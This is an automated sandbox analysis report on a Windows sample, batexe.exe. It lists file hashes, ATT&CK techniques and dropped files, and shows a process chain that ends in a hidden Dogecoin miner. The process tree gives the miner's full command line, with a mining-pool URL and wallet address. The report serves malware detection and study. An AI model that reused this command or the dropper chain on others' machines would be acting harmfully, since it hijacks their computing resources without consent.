73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
302s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
13/02/2024, 09:32

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
4212	b2e.exe
1612	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1612	cpuminer-sse2.exe
1612	cpuminer-sse2.exe
1612	cpuminer-sse2.exe
1612	cpuminer-sse2.exe
1612	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/5052-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 5052 wrote to memory of 4212	5052	batexe.exe	85
PID 5052 wrote to memory of 4212	5052	batexe.exe	85
PID 5052 wrote to memory of 4212	5052	batexe.exe	85
PID 4212 wrote to memory of 908	4212	b2e.exe	86
PID 4212 wrote to memory of 908	4212	b2e.exe	86
PID 4212 wrote to memory of 908	4212	b2e.exe	86
PID 908 wrote to memory of 1612	908	cmd.exe	89
PID 908 wrote to memory of 1612	908	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5052
- C:\Users\Admin\AppData\Local\Temp\72AF.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\72AF.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\72AF.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4212
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\755F.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:908
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1612

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\72AF.tmp\b2e.exe

Filesize
12.2MB

MD5
279b7a8422da571481fe522c5af327ef

SHA1
bf285b9e4d2ac5fcc1289c11397e90e04d7b7aa7

SHA256
4078b4647158a788fa26bc35bb411ec84a087c1649ef475368a82e29efa0d6ac

SHA512
0c45af14d45633582326e7f0f274eb1a6d8923b716faf9422fc764f4369e1261171ae069884c6736c89ca73d25aeac1d50a758d139dc3d2cfd3f9b68cc2e49f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\72AF.tmp\b2e.exe

Filesize
6.5MB

MD5
ed09ecc478ae4b67a41e984881dceb33

SHA1
f38798b5e470786ed35d383b720d6dbebb7fdb49

SHA256
1fb82516206763ec3990f8f36f71211ca0cd657c72318f9d74682a7c983c14fc

SHA512
b50af963fc79580389acb0257756306506723f6939aaf6fbcb409cf6c70d3c1079b24ab8ccba10fd515522c67c20904b7edf344f155c7d3bd6b154d41d7cf0c3

Download Submit
C:\Users\Admin\AppData\Local\Temp\72AF.tmp\b2e.exe

Filesize
6.9MB

MD5
078a462777d192e9ddde961b07230eb4

SHA1
4630881437f5a59ccbe5c83c45002f75841508f3

SHA256
5708061f19d6c1745c3c40d07efcae36a6d352ea419eda63b8f20bccfbd8d2a0

SHA512
3882bdb8349dc3098ae0aac661c3492c8bd634b90b1efb588bef4158e97a134599a2f85de30ea7531a3634d53fcb7e922fd4207daccefff6b35022211b1fe265

Download Submit
C:\Users\Admin\AppData\Local\Temp\755F.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.8MB

MD5
d80b98cad14ab7d8ad49bdea10bf6f78

SHA1
e36f47025de04864ea3233b946593dc46c7588dd

SHA256
87fef499779eccf1270b3f4b1b875f43ef9085178f27475affd5310df78ece4b

SHA512
bc5b18eca17a407e1eb233ebd14921a3150e77362ee337dbdb730fd4462e836553f5eefa6c484e1dadcf52e6fc2683dab7b9e2b2182d9b5fa939e48dbc6a8688

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.8MB

MD5
32b7441a6957f9ddb1b4090d159ce230

SHA1
e326693a67a635f3299daa61bce7f3d2392ac2f5

SHA256
1295891703281fda2e801ca50bb5f7d20234c768a57962188be593dcca386d8e

SHA512
91ec73ec24cb556fba5681c9117e41dfe500bfe2457b4849dde69112d9a2b86026bb2dffaab98d733aaef6f342cf0d761d4ddf83f2f3bda6629f6164cd766383

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.4MB

MD5
35b0486f93c89a54cb03b9bfc7f01b4d

SHA1
2730f357b13b19b007298e4c4b13595d54c32e0f

SHA256
a2123c99dd7593cb6dee3ac8bead686d093eb1ca25867016feaaf1cc3048b93d

SHA512
c0ebbee85a0ecffb0db2814fe7da8eaa0912a33479e3e5c135976cd26e29372c820994bee5a801096ac1126fe2376b390c889b79a36fb45e20456efc6a62ac4f

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.5MB

MD5
d556d2f42952feca6ce9564bc4d61d99

SHA1
7f99cd3752d48b157fb7109c480800baf3414d02

SHA256
5a3db482760efa13421e809b94bd5abcb71cfa3728efaf18a4c6aff5c19b33c4

SHA512
49adfe1503b0c512309ec1363e2217777ec5b8b1af3ffe0d90dd1ed2fef79702bd211a98d9b6d6b425f56238127ed47693b76255ced0a65039534a70a6020db1

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1612-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1612-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1612-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1612-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1612-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1612-46-0x0000000065110000-0x00000000651A8000-memory.dmp

Filesize
608KB

Download
memory/1612-47-0x0000000001120000-0x00000000029D5000-memory.dmp

Filesize
24.7MB

Download
memory/1612-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1612-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1612-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1612-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1612-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1612-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4212-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4212-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5052-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download